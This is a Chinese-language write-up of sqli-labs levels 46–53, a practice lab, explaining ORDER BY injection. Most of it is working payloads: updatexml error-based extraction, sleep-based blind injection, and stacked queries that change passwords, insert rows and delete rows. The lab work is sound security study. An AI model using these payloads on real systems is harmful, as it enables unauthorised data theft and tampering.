(46~50)
sql-lab-46
一进入46关页面就提示我们使用 sort :
我们尝试这使用 ?sort=1 发现:
然后 ?sort=2:
?sort=3:
我们发现当我们使用 sort=1 时 表格以第一列进行排列,sort=2 时 表格以第二列进行排列, sort=3 时 表格以第三列进行排序。我们想到了order by 函数 ,猜测可能是与 order by 函数相关的注入。
查看源码:
$sql = "SELECT * FROM users ORDER BY $id";
发现我们的猜测果然没错。
先了解下 order by参数注入:
order by 注入是指其后面的参数是可控的,
order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注。
判断库名:?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
判断表名:?sort=-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q
判断列名:?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q
查询数据:?sort=-1 and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
sql-lab-47
原理与46关相同,区别只是闭合不同
判断库名:?sort=-1 'and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
判断表名:?sort=-1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q
判断列名:?sort=-1’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q
查询数据:?sort=-1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
sql-lab-48
在这一关只能使用时间盲注:
使用时间盲注
-
解析数据库名称:?sort=1 and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s
-
解析表名:?sort=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e
-
解析字段名:?sort=1 and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i
-
获取数据: ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
sql-lab-49
和四十八关相同,仅仅只是闭合方式的不同
-
解析数据库名称:?sort=1 'and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s
-
解析表名:?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e
-
解析字段名:?sort=1’and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i
-
获取数据: ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
sql-lab-50
进入题目,发现和之前的几道题是大差不差的,我们输入的语句依旧会拼接到order by后面,于是尝试使用报错注入,发现确实是可以的,那么这道题和前面的题目有啥区别呢?
我们查看一下源码:
mysqli_multi_query($con1, $sql)
所以说这道题就是堆叠注入和order by 注入的结合
?sort=1;update users set password=‘hcjtn’ where id=14–q
?sort=1;insert into users values(50,‘50’,‘50’)-- q
(51~53)
sql-lab51
做法和上一道题一致,只是闭合的区别。
使用报错注入或者时间盲注:
这里使用报错注入:
判断库名:?sort=-1 'and updatexml(1,concat(0x7e,database(),0x7e),1)-- q
判断表名:?sort=-1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q
判断列名:?sort=-1’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q
查询数据:?sort=-1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
然后进行堆叠注入:
?sort=1’;insert into users values(21,‘02’,‘24’)-- q
sql-lab-52
一样的套路一样的方法,先判断闭合方式 发现该题没有闭合,然后尝试使用报错,将库名爆出来,发现无法使用,那么在本题只能使用时间盲注:
-
解析数据库名称:?sort=1’and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s
-
解析表名:?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e
-
解析字段名:?sort=1’and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i
-
获取数据: ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
然后进行堆叠注入:
?sort=1 ;delete from users where id=50 – q
sql-lab-53
先判断闭合方式,发现没有闭合。
-
解析数据库名称:?sort=1 'and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s
-
解析表名:?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e
-
解析字段名:?sort=1 'and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i
-
获取数据: ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q
然后进行堆叠注入:
?sort=1’ ;delete from users where id=50 – q